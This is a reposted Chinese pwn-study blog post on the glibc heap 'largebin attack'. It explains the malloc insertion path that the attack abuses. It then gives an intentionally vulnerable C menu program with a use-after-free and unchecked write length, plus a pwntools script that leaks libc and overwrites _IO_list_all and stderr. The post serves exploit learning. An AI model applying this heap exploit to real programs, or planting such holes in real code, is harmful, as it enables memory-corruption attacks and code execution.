自学内容网 自学内容网

【我的 PWN 学习手札】Largebin Attack(<= glibc-2.38可利用)

目录

前言

一、Largebin Attack的通用利用方法

二、再次 Largebin Attack

三、测试与模板


前言

早期的 Largebin Attack,通过修改 largebin 中 free chunk 的 bk 和 bk_nextsize 指针域,能够实现任意地址写堆地址。然而在 glibc >= version2.30 后,增加了安全检查,释放大于 largebin 中最大 chunk 的情况来实现利用已很难实现。

而释放小于 largebin 中最小 chunk 的插入分支,并没有安全检查,依旧可以实现利用,但是只能通过 bk_nextsize 来实现单个地址的写入堆地址。


早期(<2.30)的 Largebin Attack 涉及到 Largebin 的组织方式,在这篇博客已经将前置部分知识说的比较相近了,在此也不再赘述。

一、Largebin Attack的通用利用方法

这次要走的路,是小于最小 chunk 的插入分支。

bck = bin_at (av, victim_index);
fwd = bck->fd;
if (fwd != bck){
    ...
    if ((unsigned long) (size)
        < (unsigned long) chunksize_nomask (bck->bk)){
        fwd = bck;
        bck = bck->bk;
        // 待插入的chunk,填写好fd_nextsize和bk_nextsize指针域
        victim->fd_nextsize = fwd->fd;
        victim->bk_nextsize = fwd->fd->bk_nextsize;
        
        // 接下来对victim->bk_nextsize->fd_nextsize进行赋值,
        // 而刚刚进行了赋值:victim->bk_nextsize = fwd->fd->bk_nextsize;
        // 因此如果我们对fwd->fd->bk_nextsize进行修改
        // (bin中最小的chunk但是我们往往让bin中只有一个chunk)
        // 所以实际上  
        // (fwd->fd->bk_nextsize)->fd_nextsize=victim => target->fd_neextsize=victim
        fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
    }
    ...
}

修改 chunk 的 bk_nextsize 域为 target 即可在释放一块更小的 chunk 到 largebin 时,在target->fd_nextsize,也即 [target+0x20] 的内存区域写上刚刚进入 largebin 的 chunk 的头指针。

(配图来自看雪)  

已经实现了我们任意地址写堆地址的目的。 

二、再次 Largebin Attack

还可以进一步利用,当我们 malloc 一块比较小的 chunk,但是其大小在 unsortedbin 中找不到恰好合适的,就会将 unsortedbin 中的 chunk 放回到对应的 bin 中,触发Largebin Attack。

又为了满足分配 chunk 的要求,就会进一步遍历到 largebin,我们构造合适的 size 使其切割刚分配进来的新 chunk(上图为0x420大小),那么被切割的剩余部分会 unlink 然后放到 unsortedbin 中,此时 largebin 中的布局又变为:

于是可以再次进行 largebin attack 

三、测试与模板


#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
context.arch=elf.arch
# context.log_level='debug'

io=process('./pwn')
def add(index,size):
    io.sendlineafter(b'choice:\n',b'1')
    io.sendlineafter(b'index:\n',str(index).encode())
    io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
    io.sendlineafter(b'choice:\n',b'2')
    io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
    io.sendlineafter(b'choice:\n',b'3')
    io.sendlineafter(b'index',str(index).encode())
    io.sendlineafter(b'length:\n',str(length).encode())
    io.sendafter(b'content:\n',content)
def show(index):
    io.sendlineafter(b'choice:\n',b'4')
    io.sendlineafter(b'index:\n',str(index).encode())



# leak libc
add(0,0x410)
add(1,0x10)
add(2,0x400)
add(3,0x10)
add(4,0x400)

delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))+0x7c1ab1200000-0x7c1ab159bb78
libc.address=libc_base
success(hex(libc_base))

# largebin attack
add(3,0x500)
payload=b''
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(libc.sym['_IO_list_all']-0x20)
success(hex(libc.sym['_IO_list_all']))
edit(0,0x20,payload)
delete(2)
add(3,0x300)

add(3,0xa0)
# largebin attack again
payload=b''
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(libc.sym['stderr']-0x20)
success(hex(libc.sym['stderr']))
edit(0,0x20,payload)
delete(4)
add(3,0x500)
gdb.attach(io)
io.interactive()

原文地址:https://blog.csdn.net/Mr_Fmnwon/article/details/142344159

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!